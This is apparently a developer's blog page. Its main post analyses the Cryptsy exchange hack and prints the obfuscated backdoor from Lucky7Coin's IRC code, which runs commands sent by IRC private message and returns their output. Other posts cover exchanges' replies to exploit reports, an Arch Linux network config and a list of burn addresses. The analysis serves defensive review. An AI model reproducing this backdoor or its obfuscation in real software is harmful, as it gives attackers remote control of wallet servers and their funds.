Analyzing the $5.6 Million Exploit and Cryptsy's Security Failings

Yesterday, it was announced that Cryptsy was hacked. They wrote in decent detail what happened, but didn't explain how all of this was possible. I am apparently an expert at doing security reviews of crytpocurrencies, so let's dig in. First though, I need to introduce you to the world of Altcoins, circa 2014. Skip to the next section if you already know all about that crazy time.

For those unfamiliar with altcoins (alternative cryptocurrencies), it's extremely common for a cryptocurrency to rise up for a few weeks, become a hit, and then suddenly die out. I was the dev of 3 different cryptocurrencies and it happens. When it dies out, there is typically no motivation for the developer to continue working on it, because everyone in cryptocurrency at the time was searching for the next Dogecoin. The thing they can put $10 into early and get $1000 out a month later. If you didn't succeed in doing that (or even if you did in some cases), excitement died down and moved to the next hot coin implementing the feature that made people money last time. So, it is extremely common for altcoins to become abandoned after a few months, fall into disrepair, and become broken in various ways. Cryptsy didn't make a mistake in accepting code from a new maintainer of the cryptocurrency.

However, they did screw up, obviously. Any reasonable exchange compiles all of their wallets from source code. A few exchanges have accepted closed source cryptocurrencies, but most of them are also now dead, or were dead 3 months after opening and gaining enough trust to run away with some money. I must stress, this is extremely common in the alternative cryptocurrency world. Everyone wants to double their dollar and there is no regulation or oversight. Crytpsy I assume also compiled their wallet's code from source. For security, all exchanges should sandbox their wallets (though Richie at Bittrex has told me this is harder than expected. I don't run an exchange, so I don't know in exactly what ways), make sure their cold bitcoin storage is actually cold and not lukewarm, and finally, should review all code that gets compiled and put onto their exchange.

They appear to have neglected these security tasks. Their wallets appear to not be sandboxed in any strong way. If their cold storage had actually been cold, the attackers would've never got beyond emptying their hot wallet. And finally, their code review practices either didn't exist, or were insufficient to catch this. At just around the time of this exploit being created I had started conducting code reviews of cryptocurrencies. This was initially triggered by a coin called "Mysterycoin". He claimed at the time that there was something hidden in the coin. People had started investing in this crazy thing and this was just after the "USBCoin" exploit which stole a ton of money from people. If you read through that thread, it's quite insane that people didn't believe me when I found the exploit, but these are also people that probably invested in it. They didn't care about exploits as long as they exited before the coin was worthless. This is a very common trope of the altcoin world. Anyway, so I started conducting code reviews of these altcoins because no one else was protecting the community from stuff like this. I legitimately wanted altcoins to succeed. There was so much excitement and innovation happening at the time, and everyone was exploring what limits they could take altcoins to. Mixed with this good stuff happening though, a number of malicious scams also popped up. Most of these were the typical pyramid scheme type, or the "Invest now, and then I'll release a new version with [SOME GREAT IMPOSSIBLE FEATURE] and then you'll be rich!", and then the developers would cash out their premine at the highest market price they could, leave the coin, and move onto a new coin and do the same thing. And people ATE. IT. UP. Hell, even I invested in a coin I knew would fail, because I knew I could sell it 12 hours later at double the price before the price tanked 48 hours into it. These scammers knew that people were doing this, so they started employing tricks such as "hidden premines", ie, where they start the currency and have more coins in this cryptocurrency than they announced. Most people knew how to check this kind of thing, so the developers started rewriting code so that the block explorers lied about the first transaction in the blockchain to say 0 coins were created, instead of 1 million coins. Most of these exploits however were fairly harmless in an overall-system type of way. They would lie about transactions, maybe allow the developer to exploit the blockchain, but nothing like executing arbritrary files or becoming part of a botnet.

So, anyway, this kind of thing was really just starting to ramp up. Even Bittrex, one of the most security concious exchanges then and now, had been hit by these code exploits. I'm not excusing Cryptsy, but this kind of behavior with scams and malicious code was a slow and then sudden realization, like the string of OpenSSL security problems. Most developers of altcoins were knew to potentially be scammers, but coins with actively malicious code was extremely rare, if not complete unheard of. And then suddenly exploits were left and right. This was about the point that I stepped in. Bittrex even ended up hiring me as a contractor after I reported a security issue to them at around this time. So, anyway Cryptsy had lax code reviews, if they did at all. And this exploit was not particularly easy to catch. I think today I would've caught it, but two years ago? Who knows.. So, let's dive into the actual exploit:

The Exploit

The exploit is pretty well hidden from the get-go. Look through the commit history. You won't find anything relevant. Yep, they changed it in the initial commit. However, they do have the "Change IRC Network" commit there to look like an obvious fix for crytpsy. Anyone smart knows to never trust commit history. Commits can always be changed, backdated, you name it. It's user provided information. This actually made my job of conducting code reviews significantly harder. The only way to figure out the actual changes a developer made to the coin, you must take the code and compare it to another coin that is similar. This basically involves a lot of trial and error with trying to match their code up to a sane similar coin that you know is trustworthy. Oh yea, no altcoin developer starts from nothing. They always fork a different coin as their base and change things from there. So, if you can find a sane coin to compare the code against, then you have to mostly manually sift through a ton of noisey renaming from (say) "Firecoin" to "Lucky7coin" to get at the very core of what they actually changed in the logic.

So, let's see what that would've looked like, while cutting out the noise. Something like this

As you can see, it's pretty well hidden. It appears to be some innocent modifications to the allocation methods, but yet, those comments don't make any sense. This should have been a red flag, especially things like define S_ORDER(a,b,c,d) b##a##d##c which to me screams "I'm obfuscating something" (I should know, I work on a software obfuscator in my day job). So, Lets get out the core code:

    if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
    {
        CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
        if (buf) {
            std::string result = "";
            while (!feof(buf))
                if (fgets(pszName, sizeof(pszName), buf) != NULL)
                    result += pszName;
            CFree(buf);
            strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
            if (strchr(pszName, '!'))
                *strchr(pszName, '!') = '\0';
            Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
        }
    }

This takes place in the loop for handling IRC messages. Bitcoin and altcoins use (or at least use to) IRC for finding other nodes to receive the blockchain. It connects to an IRC network and watches for JOIN messages and messages beginning with "352", and then uses that as a marker to parse the rest of the message as an IP address. If you look at what the CBuff macro is, it is "PR" "IV" "M" "SG". Anything, ANYTHING concering private hidden messages in this code should be an immediate flag.

Now, let's look at what this code actually looks like when preprocessed and all the macros are resolved:

      if (vWords[1] == "PR" "IV" "M" "SG" && vWords[3] == ":!" && vWords[0].size() > 1)
         {
             FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");
             if (buf) {
                 std::string result = "";
                 while (!feof(buf))
                     if (fgets(pszName, sizeof(pszName), buf) != 
 # 356 "irc.cpp" 3 4
                                                                __null
 # 356 "irc.cpp"
                                                                    )
                         result += pszName;
                 pclose(buf);
                 strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
                 if (strchr(pszName, '!'))
                     *strchr(pszName, '!') = '\0';
                 Send(hSocket, real_strprintf("%s %s :%s\r", 0, "PR" "IV" "M" "SG", pszName, result.c_str()).c_str());
            }
        }

Hmm.. this code looks a lot more sinister now. Basically the logic resolves down to "If a private message comes in with the 2nd word being ":!", then execute the 4th word of the message as a command" And word is defined as being seperated by a space. I'm not really sure why the convuleted strstr() logic is used on the 3rd line of the exploit however. I can only assume to make it harder to understand. But anyway, it basically executes the command sent in and then will send back the standard output of the command. And this is how they were able to execute any arbritrary command on the wallet server.

Conclusion

So, this was a pretty big mistake from multiple failures in security architecture... A $5.6 million dollar mistake. With even basic security protocols an exploit like this should have been caught and rendered nothing at risk besides maybe the actual Lucky7Coin hot wallet. This exploit existed for at least 6 months before actually stealing all of cryptsy's cold wallet funds. Somewhere in that amount of time, someone should've noticed the odd IRC traffic. Or hell, why was IRC traffic even being allowed in this case!?

I think some take aways from this are:

  1. If you're running anything to do with Bitcoin, security is not a joke. It's not a matter of if you get hacked but rather when. And when you do, you'd better hope your wallet with most of your funds is so cold it's practically frozen and attackers can't get to it
  2. Code reviews are hard, but extremely important. A few months ago I reviewed the coin "Pharma" 2 times and it wasn't until the third time that I found an exploit in it. I'm not saying they didn't try to conduct a review to find any potential exploits, but it's really best to have more than one eyes on this kind of thing, and I doubt this made it past 2 people
  3. You should be sandboxing everything possible. Sandboxing is hard, especially for something as resource intensive as altcoin wallets, but this entire issue could've been prevented with proper sandboxing.
  4. You should be monitoring your networks. Use a whitelist if possible, and have excessive monitoring with heuristics otherwise to detect anomolies like this.
  5. Your cold storage should be actually cold. If you can get at your cold wallet's private keys without physically getting out of your chair and walking somewhere, it's not cold.
  6. You can never be too careful when handling millions of dollars
  7. Actually respond to incident responses, and provide bug/security bounties to encourage people to report it instead of exploit it. When I contacted some exchanges about a much less significant exploit in a coin, two did not reply, ever. One wrote back and told me "It doesn't affect transaction balances, so therefore it's not our problem" (basically, fuck you, we don't care that our traders get a fair deal), and one exchange that actually responded and took the market offline within 30 minutes of my report.
Posted: 1/16/2016 7:17:49 AM

Exploit Report Responses

So, I found it interesting the "response" I got from exchanges when reporting the Pharma Exploit. TL;DR; some malicious miners could mine blocks significantly faster than legitimate miners.

In all, 3 coins and 3 altcoin exchanges were affected. The coins being Pharma (2 exchanges), MasterDoge, and Hexxcoin (1 exchange). The 3 exchanges are C-CEX, BlueTrade, and Yobit. I also sent a message to Bittrex because I thought a coin was affected that they had a market for, but that was a mistake and the coin was not actually affected.

Responses from exchanges:

  1. C-CEX: No response, market still online
  2. Yobit: No response, market still online
  3. BlueTrade: Response summarized as "this exploit only affects the miners and because it doesn't affect transaction balances, we will keep the market up." (which is bullshit), market still online
  4. Bittrex: Response within 30 minutes asking for more details (at this point I indicated it doesn't actually affect a coin I thought it did), unaffected

So, there you go. Four exchanges contacted about a security problem. One replied back that was actually concerned about it.

Posted: 7/5/2015 5:49:59 PM

Still existing

I really should blog more. Just hard to find the time...

I still exist though. Most of my recent projects have been bitcoin and altcoin related, since I do bring home a bit of money from freelancing in that field in my freetime. Bitcoin and altcoins really seem to be winding down though since the great altcoin bubble popping. So, probably going to be looking for something new to do pretty soon.

hmm.. yea, I guess that's it

Tags: mmm
Posted: 5/2/2015 6:11:15 AM

Configuring a SoYouStart IP for Arch Linux

So, I recently managed to snag a SoYouStart dedicated server. It comes with 16 IPs, but configuring more than the main IP (ie, "failover" IPs) is definitely not trivial. I used my dedicated server for hosting my own VMs with Proxmox, so I definitely needed to use these extra IPs.

I couldn't find any good way to configure a failover IP configuration in Arch Linux, so I scrounged around and ended up following directions mostly from the FreeBSD instructions, but adapted for Arch.

Here's how I did it

[earlz@test2 ~]$ cat /etc/netctl/virtnetwork 
Description='A more versatile static ethernet connection'
Interface=ens18
Connection=ethernet
IP=static
# Any valid iproute command can be placed in this array
IPCustom=('addr add FAIL.OVER.IP/32 dev ens18' 'route add PRIMARY.IP dev ens18' 'route add default via PRIMARY.IP')
DNS=('8.8.8.8')

Replace FAIL.OVER.IP with the appropriate failover IP(ie, the extra IPs). Replace PRIMARY.IP with your main IP, but change it to end with 254.

I'm sure there is a better way to do this, but eh. close enough for me

Posted: 1/15/2015 2:54:58 AM

Provably Spendable Altcoin Burn Addresses

Please verify this message at keybase.io/verify

Copy and paste the text from here: https://gist.githubusercontent.com/Earlz/de3cc5f6ee85c7a69d53/raw/e9b8f53ddadd1677fc2fd2a0f1df8547e08ae408/gistfile1.txt to https://keybase.io/verify to ensure it is signed by me(earlz)

Also, for good measure, you should run the code I used to generate the addresses to confirm. You can never be too careful throwing around huge amounts of money

-----BEGIN PGP SIGNED MESSAGE-----

This is a list of unspendable addresses with which to burn coins to. When you send a coin to any of these addresses, they are permanently gone and can never be redeemed.

You can prove this by sending a small test amount to the address and then checking a block explorer or using getrawtransaction txid 1. You should see the coins output to somehting like "raw_scriptPubKey": "76a914000000000000000000000000000000000000000088ac" Some block explorers are also smart enough to indicate in their user interface that the coins were destroyed.

You can find the version number matching to the desired altcoin by checking two places in the code:

chainparams.cpp for bitcoin 0.9 and later based coins:

base58Prefixes[PUBKEY_ADDRESS] = list_of(0); //version number is 0

or in base58.h

PUBKEY_ADDRESS = 0, //version number is 0

You can generate this list of addresses with this C# code

Version: 0, Address: 1111111111111111111114oLvT2
Version: 1, Address: QLbz7JHiBTspS962RLKV8GndWFwjA5K66
Version: 2, Address: ogCyDbaRMvkdsHB3qfdyFYaG1WtWyNoVK
Version: 3, Address: 2D1oxKts8YPdTJRG5FzxTNpMtWmqBnjrht
Version: 4, Address: 2cMQwSC9qirWGjZM6gLGwW69X22mx9jRA9
Version: 5, Address: 31h1vYVSYuKP6AhS86fbRdMw9XHieotbST
Version: 6, Address: 3R2cuenjG5nFubqX9Wzuukdin2YfLYZyD1
Version: 7, Address: 3pNDtm61yGF8j2ycAwLEPsuWQXoc2sA4Km
Version: 8, Address: 4DhpssPJgSi1YU7hCMfYt1BJ334YnPXXvB
Version: 9, Address: 4d3RrygbPdAtMuFnDmzsN8T5fYKVUjFu7m
Version: 10, Address: 52P2r5yt6odmBLPsFCLBrFisJ3aSBHTm7z
Version: 11, Address: 5RidqCHAoz6dzmXxGcfWLNzevYqNrjZe5V
Version: 12, Address: 5q4EpJaTXAZWpCg3J2zppWGSZ46KYZmeCZ
Version: 13, Address: 6EPqoQskEM2Pddp8KTL9JdYEBZMGFDpfbU
Version: 14, Address: 6djSnXB2wXVGT4xDLsfTnkp1p4cD2B68LT
Version: 15, Address: 7353mdUKehx9GW6JNHznGt5oSZs9mBsnYx
Version: 16, Address: 7SQekjmcMtR25wEPPiL6m1Mb5586R5ut33
Version: 17, Address: 7qkFjr4u54stuNNUR8fRF8dNhaP37bg4x7
Version: 18, Address: 8F5rixNBnFLmioWZSYzjjFuAL5dytLR3ux
Version: 19, Address: 8eRTi4fUVRoeYEeeTyL4DPAwxatvbjaxFV
Version: 20, Address: 93m4hAxmCcGXMfnjVPfNhWSjb69sDziGSY
Version: 21, Address: 9T6fgHG3unjQB6vpWozhBdiXDbQp3P7F8M
Version: 22, Address: 9rSGfPZLcyCGzY4uYEL1fkzJr6fkicS2rs
Version: 23, Address: AFmseVrdL9f9oyCzZefL9tG6UbvhPbdYzM
Version: 24, Address: Af7Udc9v3L82dQM5b4zee1Xt77BeB76VTG
Version: 25, Address: B4T5ciTCkWauSqVAcVKy88ofjcSasUkSYU
Version: 26, Address: BTngbpkVTh3nGGdFdufHcG5TN7hXYuX31z
Version: 27, Address: Bs8Haw3nAsWf5hmLfKzc6PMEzcxUGSYjxf
Version: 28, Address: CGTta3M4t3yXu8uRgkKvaWd2d8DQvDPnpL
Version: 29, Address: CfoVZ9eMbESQia3WiAfF4dtpFdUMf7KWzm
Version: 30, Address: D596YFweJQuHY1BbjazZYmAbt8jJPbKehC
Version: 31, Address: DUUhXNEw1bNAMSKgm1Kt2tSPWdzF8952Np
Version: 32, Address: DspJWUYDimq3AsTmnRfCX1iB99FBnpDZgu
Version: 33, Address: EH9uVaqWRxHuzJbroqzX18yxmeW8XVJyV9
Version: 34, Address: EgVWUh8o98knojjwqGKqVGFkQ9m5BDNc9G
Version: 35, Address: F5q7ToS5rKDfdAt2rgf9yPXY2f21wp8sq4
Version: 36, Address: FVAiSujNZVgYSc27t6zUTWoKfAGxc8CEW5
Version: 37, Address: FtWKS22fGg9RG3ACuXKnwe57HfXuPKLD5o
Version: 38, Address: GHqvR8KwyrcJ5UJHvwf7RmLtvAnr5uTHdV
Version: 39, Address: GhBXQEdEh35AtuSNxMzRutcgYg3nkvq5Wb
Version: 40, Address: H6X8PLvXQDY3iLaTynKkQ1tUBBJjSZSf23
Version: 41, Address: HVrjNTDp7PzvXmiZ1Cf4t9AFogZgDAZZWi
Version: 42, Address: HuCLMZX6paToMCre2czPNGS3SBpctajMLL
Version: 43, Address: JJXwLfpPXkvgAdzj43KhrPhq4h5ZgWCZWe
Version: 44, Address: JhsYKn7gEwPYz58p5Tf2LWychCLWNQsFhn
Version: 45, Address: K7D9JtQxx7rRoWGu6szLpeFQKhbSzyUbC8
Version: 46, Address: KWYkHziFfJKJcwQz8JKfJmXBxCrPkUrNjU
Version: 47, Address: KutMH71YNUnBSNZ59ieyntnyai7LU5ciQj
Version: 48, Address: LKDxGDJq5fF4FohAB8zJH24mDDNHDNtqsE
Version: 49, Address: LiZZFKc7nqhw5EqFCZKcm9LYqidDsKHFSL
Version: 50, Address: M7uAERuQW2AotfyLDyewFGcLUDtAYu9v5V
Version: 51, Address: MXEmDYChDCdgi77RFPzFjPt86j97MwEZsu
Version: 52, Address: MvaNCeVyvP6ZXYFWGpKaDX9ujEQ418F7sm
Version: 53, Address: NKuyBkoGdZZSLyPbJEetheRhMjeznFZszf
Version: 54, Address: NjFaAs6ZLk2KAQXgKezDBmhUzEuwSacxX1
Version: 55, Address: P8bB9yPr3vVByqfmM5KXftyGckAtAdu6f8
Version: 56, Address: PXvn95h8m6x4oGorNVerA2F4FFRpqMqwAM
Version: 57, Address: PwGP8BzRUHQwchwwPuzAe9WqskgmbKp88f
Version: 58, Address: QLbz7JHiBTspS962RLKV8GndWFwiJNvEPz
Version: 59, Address: Qjwb6QazteLhFaE7SkeocQ4R8mCexgjaLb
Version: 60, Address: R9HC5WtHbpoa51NCUAz86XLCmGTbkf45NT
Version: 61, Address: RYco4dBaK1GStSWHVbKSaebzPmiYNjtd5R
Version: 62, Address: RwxQ3jUs2BjKhseNX1em4msn2GyVBjd1Lc
Version: 63, Address: SMJ12qn9jNCCXJnTYRz5Yu9ZenERqvYwfg
Version: 64, Address: Skdc1x5SSYf5LjvYZrKQ32RMHHVNWCkvvo
Version: 65, Address: T9yD14Nj9j7xAB4dbGeiX9h8unkKHxuWwb
Version: 66, Address: TZJozAg1ruapycCicgz31GxvYJ1G1qELV7
Version: 67, Address: TxeQyGyJa63ho3Loe7KMVQEiAoGCjsUGkb
Version: 68, Address: UMz1xPGbHGWacUUtfXefyXWVoJX9Q2kNtF
Version: 69, Address: UmKcwVZszSyTRucygwyzTenHRon69evUe1
Version: 70, Address: VAfDvbsAhdSLFLm4iNKJwn454K32pQL4Ne
Version: 71, Address: VZzpuiATQouD4mu9jnedRuKrgpHyY2Me1w
Version: 72, Address: VyLRtpTk7zN5tD3EmCywv2beKKYvDmMwFV
Version: 73, Address: WNg2svm2qApxheBKndKGQ9sRwporvRgRpT
Version: 74, Address: Wn1ds34KYMHqX5KQp3eatH9DaL4ogbVZA4
Version: 75, Address: XBMEr9McFXkiLWTVqTyuNQR1CqKkMPMn6L
Version: 76, Address: XagqqFetxiDb9wbartKDrXgnqLah6SqX2S
Version: 77, Address: Xz2SpMxBftgTyNjftJeYLexaTqqdn8nnGv
Version: 78, Address: YPN3oUFUP59LnoskuiyrpnEN6M6aXT4ZJD
Version: 79, Address: YnhenaYm6FcDcF1qw9KBJuW9irMXAhFG9T
Version: 80, Address: ZC3Fmgr3oS56Rg9vxZeVo2mwMMcTvhxKzc
Version: 81, Address: ZbNrko9LWcXyF7J1yyypHA3iyrsQd7Yfms
Version: 82, Address: ZziTjuSdDnzr4YS71QK8mHKWcN8MMmMdi8
Version: 83, Address: aQ44j1juvyTisyaC2peTFQbJEsPJ6xNJsd
Version: 84, Address: aoPfi83Ce9vbhQiH4EymjXs5sNeEoGtEFB
Version: 85, Address: bCjGhELVMLPUWqrN5fK6Df8sVsuBWTKAVN
Version: 86, Address: bc4sgLdn4WrMLGzT75eQhnQf8PA8EpiYbA
Version: 87, Address: c1QUfSw4mhKE9i8Y8VyjBugSktR4tTNknH
Version: 88, Address: cQk5eZEMUsn6y9Gd9vK3g2xEPPg1e5m7n6
Version: 89, Address: cp5gdfXeC4EynaQiBLeNAAE21tvxGwsxK9
Version: 90, Address: dDRHcmpvuEhrc1YoCkygeHVoeQBtzThwNG
Version: 91, Address: dcktbt8DcRAjRSgtEBK18QmbGuSqmo3n8w
Version: 92, Address: e26VazRWKbdcEspyFbeKcY3NuQhnUNMBCG
Version: 93, Address: eRS6a6io2n6V4Jy4H1ye6fKAXuxj8Equm7
Version: 94, Address: epmhZD25jxZMsk79JSJxanaxARDfvXHFj8
Version: 95, Address: fE7JYKKNT92EhBFEKreH4urjnvUceJJVZJ
Version: 96, Address: fdSuXRcfAKV7WcPKMGybZ38XRRjZFwi6Qq
Version: 97, Address: g2nWWXuwsVwzL3XQNhJv3AQK3vzVzJ2DTZ
Version: 98, Address: gS87VeDEagQs9UfVQ7eEXHg6gSFSgoxxnJ
Version: 99, Address: gqTiUkWXHrsjxuoaRXyZ1QwtJwWPUVqsM2
Version: 100, Address: hEoKTrop13LcnLwfSxJsVYDfwSmLAp8Jq9
Version: 101, Address: he8vSy76iDoVbn5kUNeByfVTZx2GpdZxrX
Version: 102, Address: i3UXS5QPRQGNRDDqVnyWTnmFCTHDbzmsYk
Version: 103, Address: iSp8RBhg8ajFEeMvXDJpwv32pxYAJusoSs
Version: 104, Address: ir9jQHzxqmC845W1Yde9S3JpTTo72C9YY8
Version: 105, Address: jFVLPQJFYwezsWe6a3yTvAac5y43kgdYJD
Version: 106, Address: jepwNWbYG87sgwnBbUJnQHrPiUJzTmT4xi
Version: 107, Address: k4AYMctpyJakWNvGcte6tR8BLyZw8fDMYV
Version: 108, Address: kTW9LjC7gV3dKp4MeJyRNYPxyUpstdSbBh
Version: 109, Address: krqkKqVQPfWW9FCSfjJjrffkbz5pYzx3eg
Version: 110, Address: mGBMJwnh6qyNxgLXh9e4LnwYEVLmJ99DAh
Version: 111, Address: mfWxJ45yp2SFn7UciZyNpvDKrzbhyfKrY8
Version: 112, Address: n4rZHAPGXCu8bYchjzJhK3V7VVrefDJHw3
Version: 113, Address: nUCAGGgZEPN1QyknmQe1oAku817bQAFKFt
Version: 114, Address: nsXmFNyqwZptEQtsnpyLHJ2gkWNY5xk9Ad
Version: 115, Address: oGsNEVH8ekHm3r2xpFJemRJUP1dUrQ9Tgo
Version: 116, Address: ogCyDbaRMvkdsHB3qfdyFYaG1WtRY9uKob
Version: 117, Address: p5YaChsi57DWgiK8s5yHjfr3e29NBSr2Lr
Version: 118, Address: pUtBBpAznHgPW9TDtWJcDo7qGXQJtffELg
Version: 119, Address: ptDnAvUHVU9GKabJuvdvhvPcu2fFhbCHUk
Version: 120, Address: qHZPA2maCec991jPwLyFC3fQXXvCQKGhkU
Version: 121, Address: qgtz994ruq51xSsUxmJZgAwCA3B96uWX9n
Version: 122, Address: r6Eb8FN9d1Xtmt1ZzBdtAJCynYS5jpWCRq
Version: 123, Address: rVaC7MfSLBzmbK9f1byCeRUmR3h2VUPcwu
Version: 124, Address: rtuo6Txj3NTeQkHk32JX8YkZ3YwyE5uSav
Version: 125, Address: sJFQ5aG1kYvXEBRq4Sdqcg2Lg4CuwtaWNi
Version: 126, Address: shb14gZJTjPQ3cZv5ryA6oJ8JZTrevAQV4
Version: 127, Address: t6vc3nrbAurGs3i17HJUavZuw4ioKTiFCE
Version: 128, Address: tWGD2u9st6K9gUr68hdo53qhZZyk3JoQAF
Version: 129, Address: tubp21TAbGn2VuzBA7y7ZB7VC5EgmEm7bj
Version: 130, Address: uJwR17kTJTEuKM8GBYJS3JPGpaVdSr7CW1
Version: 131, Address: uiH1zE3k1dhn8nGMCxdkXRf4T5kaCdkd5L
Version: 132, Address: v7ccyLM2ipAexDQSENy51Yvr5b1WsV3aCb
Version: 133, Address: vWxDxSeKRzdXmeYXFoJPVgCdi6GTe9oudV
Version: 134, Address: vvHpwYwc9B6Qb5gcHDdhyoURLbXQKTGrr1
Version: 135, Address: wKdRvfEtrMZHQWphJdy2TvkCy6nM2sRvXd
Version: 136, Address: wiy2umYBZY2ADwxnL4JLx41zbc3HkExbah
Version: 137, Address: x8JdtsqUGiV33P6sMUdfSBHnE7JEUyxTaJ
Version: 138, Address: xXeEsz8kytwurpExNtxyvJZZrcZB9EDJbg
Version: 139, Address: xvyqs6S3h5QngFP3QKJJQRqMV7p7sd48cU
Version: 140, Address: yLKSrCjLQFsfVgX8RjdctZ797d54atPjnV
Version: 141, Address: yjf3qK2d7SLYK7fDT9xwNgNvk8L1K3VhGr
Version: 142, Address: z8zepRKupcoR8YoJUaJFroeiNdawygAmXb
Version: 143, Address: zYLFoXdCXoGHwywPVzdaLvvW18qtkfAi67
Version: 144, Address: zwfrndvVEyjAmR5UXQxtq4CHde6qUBPryp
Version: 145, Address: 21M1TmkDmxAC3arDZYqJDKBU5G9MnASQWhb
Version: 146, Address: 21kM4krX4fLevQHMeaFdXoJjrteciobSpTE
Version: 147, Address: 229gfjxpMNX7oDiVjbfxrHS1eX9sfZM4YhE
Version: 148, Address: 22Z2Gj57e5hag39dpd6JAmZHS9f8cJtPSwe
Version: 149, Address: 22xMsiBQvnt3YramueWdVFgZDnAPYyN9DAW
Version: 150, Address: 23MhUhHiDW4WRg1uzfvxojoq1QfeVjj7JTT
Version: 151, Address: 23m35gQ1WDEyJVT45hMJ8Dw6o3AuSRanfoW
Version: 152, Address: 24ANgfWJnvRSBJtCAimdSi4NafgAPAzJ9Vw
Version: 153, Address: 24ZiHecc5dbu48KLFkBxmCBeNJBRKrksH3x
Version: 154, Address: 24y3tdiuNLnMvwkULmcJ5gJv9vggGW3WGf6
Version: 155, Address: 25NPVcqCf3xpomBcRo2dQASBwZBwDEmoQUw
Version: 156, Address: 25mj6bwVwm9HgackWpSxieZTjBhC9zYcLj6
Version: 157, Address: 26B4hb3oEUKkZQ3tbqsJ38gjWpCT6iqRz2Z
Version: 158, Address: 26aQJaA6XBWDSDV2gsHdMcp1JShi3SJdwwr
Version: 159, Address: 26yjuZGPotggK2vAmthxg6wH65Cxz7aTu2i
Version: 160, Address: 27P5WYNh6bs9BrMJrv8Hzb4YshiDvkmsVmc
Version: 161, Address: 27nR7XUzPK3c4fnSwwYdK5BpfLDUsVoEtAk
Version: 162, Address: 28BkiWbHg2E4wVDb2xxxdZK6SxijpEQDWhR
Version: 163, Address: 28b6KVhaxjQXpJej7zPHx3SNEbDzkyYLg1c
Version: 164, Address: 28zRvUotFSazh85sD1odGXZe2DjFhfiagTM
Version: 165, Address: 29PmXTvBY9mTZwX1J3Dxb1guorEWeMXWj9J
Version: 166, Address: 29o78T2UprwvSkx9P4eHuVpBbUjmb7QsDZ8
Version: 167, Address: 2ACSjS8n7a8PKaPHU64dDywTP7F2Xnso73i
Version: 168, Address: 2AbnLRF5QHJrCPpRZ7UxYU4jAjkHUTriR6y
Version: 169, Address: 2B17wQMNgzVK5DFZe8uHrxBzxNFYRDevbkG
Version: 170, Address: 2BQTYPTfyhfmx2ghjAKdBSKGjzkoMyLjRXP
Version: 171, Address: 2Boo9NZyGQrEpr7qpBjxVvSYXdG4JanKBSc
Version: 172, Address: 2CD8kMgGZ82hhfYyuDAHpQZpKFmKFKjZ76n
Version: 173, Address: 2CcUMLnZqqDAaUz7zEad8th66tGaC2BS8XL
Version: 174, Address: 2D1oxKts8YPdTJRG5FzxTNpMtWmq8ogJg2U
Version: 175, Address: 2DR9ZK1ARFa6L7rQAHRHmrwdg9H65XQAzVH
Version: 176, Address: 2DpVAJ7ThxkZCwHYFJqd6M4uTmnM2BBxq4a
Version: 177, Address: 2EDpmHDkzfw25kigLLFxQqCBFQHbxs7sZ3Z
Version: 178, Address: 2EdANGL4HP7Uxa9pRMgHjKKT32nruaTZbks
Version: 179, Address: 2F2VyFSMa6HwqPaxWP6d3oSipfJ7rHoycY9
Version: 180, Address: 2FRqaEYeroUQiD26bQWxNHZzcHoNo3vqoah
Version: 181, Address: 2FqBBDex9Wesb2TEgRwHgmhGPvJdjn3VySa
Version: 182, Address: 2GEWnCmFSDqLTqtNmTMd1FpYBYotgR79eRB
Version: 183, Address: 2GdrPBsYiw1oLfKWrUmxKjwoyBK9d8FShkh
Version: 184, Address: 2H3BzAyr1eCGDUkewWCHeE55kopQZprrjuM
Version: 185, Address: 2HSXbA69JMNj6JBo2XccxiCMYSKfWZKfNiH
Version: 186, Address: 2HqsC9CSb4ZBy7cw7Z2xHCKdL4pvTJ1puEt
Version: 187, Address: 2JFCo8Jjsmjeqw45CaTHbgSu7hLBQ199hUo
Version: 188, Address: 2JeYQ7R3AUv7ikVDHbscvAaAuKqSLgmg8Ns
Version: 189, Address: 2K3t16XLTC6abZvMNdHxEehSgxLhHPEwWBp
Version: 190, Address: 2KTDc5ddjuH3UPMVTeiHZ8piUaqxE8efyQS
Version: 191, Address: 2KrZD4jw2cTWMCndYg8cscwzGDMDAr2Vfxi
Version: 192, Address: 2LFtp3rEKKdyE2DmdhYxC75G3qrU7XkhRnJ
Version: 193, Address: 2LfER2xXc2pS6qeuiiyHWbCXqUMj4F4VWmR
Version: 194, Address: 2M4a224ptjztyf63okPcq5Kod6rz119KvTG
Version: 195, Address: 2MTud1B8BTBMrUXBtmox9ZT5QjNEweTvJzd
Version: 196, Address: 2MsFDzHRUAMpjHxKyoEHU3aMCMsVtMqs1PV
Version: 197, Address: 2NGapyPiksYHc7PU4pecnXhcyzNkq6XkrCc
Version: 198, Address: 2NfvRxW23aikUvpc9r4x71ptmct1mnVAMDo
Version: 199, Address: 2P5G2wcKLHuDMkFkEsVHRVxAZFPGiWSK8Nu
Version: 200, Address: 2PUbdvicd15gEZgtKtucjz5SLstXfFA9hbp
Version: 201, Address: 2PswEupuuiG97P82QvKx4UCi8WPnbwLazty
Version: 202, Address: 2QHGqtwDCRSbzCZAVwkHNxKyv8u3YcQ1tMm
Version: 203, Address: 2QgcSt3WV8d4s1zJayAchSTFhmQJVN3br24
Version: 204, Address: 2R5x3s9omqoXjqRSfzax1vaXVPuZS5uBrjd
Version: 205, Address: 2RVHerG74Yyzceram21HLQhoH2QpNmpdhPA
Version: 206, Address: 2RtdFqNQMGATVUHir3Rcetq54ev5KUF7CKc
Version: 207, Address: 2SHxrpUhdyLvNHirw4qwyNxLrHRLGCEGteF
Version: 208, Address: 2ShJToazvgXPF7A126GHHs5cduvbCwVFSEJ
Version: 209, Address: 2T6e4nhJDPhr7vb977gccMCtRYRr9g78FVP
Version: 210, Address: 2TVyfmobW6tJzk2HC96wvqLADAw76KwWP8N
Version: 211, Address: 2TuKGkutnp4msZTRHAXHFKTRzoSN37VVAFw
Version: 212, Address: 2UJesk2C5XFEkNtZNBwcZoahnRwcynjeMTL
Version: 213, Address: 2UhzUj8VNERhdCKhTDMwtHhya4SsvS1w2ve
Version: 214, Address: 2V7L5iEnewcAW1kqYEnHCmqFMgx8sBBwaW1
Version: 215, Address: 2VWfghM5wendNqBydGCcXFxX9KTPovpTTp9
Version: 216, Address: 2Vv1HgTPEMy6Fed7iHcwqk5nvwxekeUY6LN
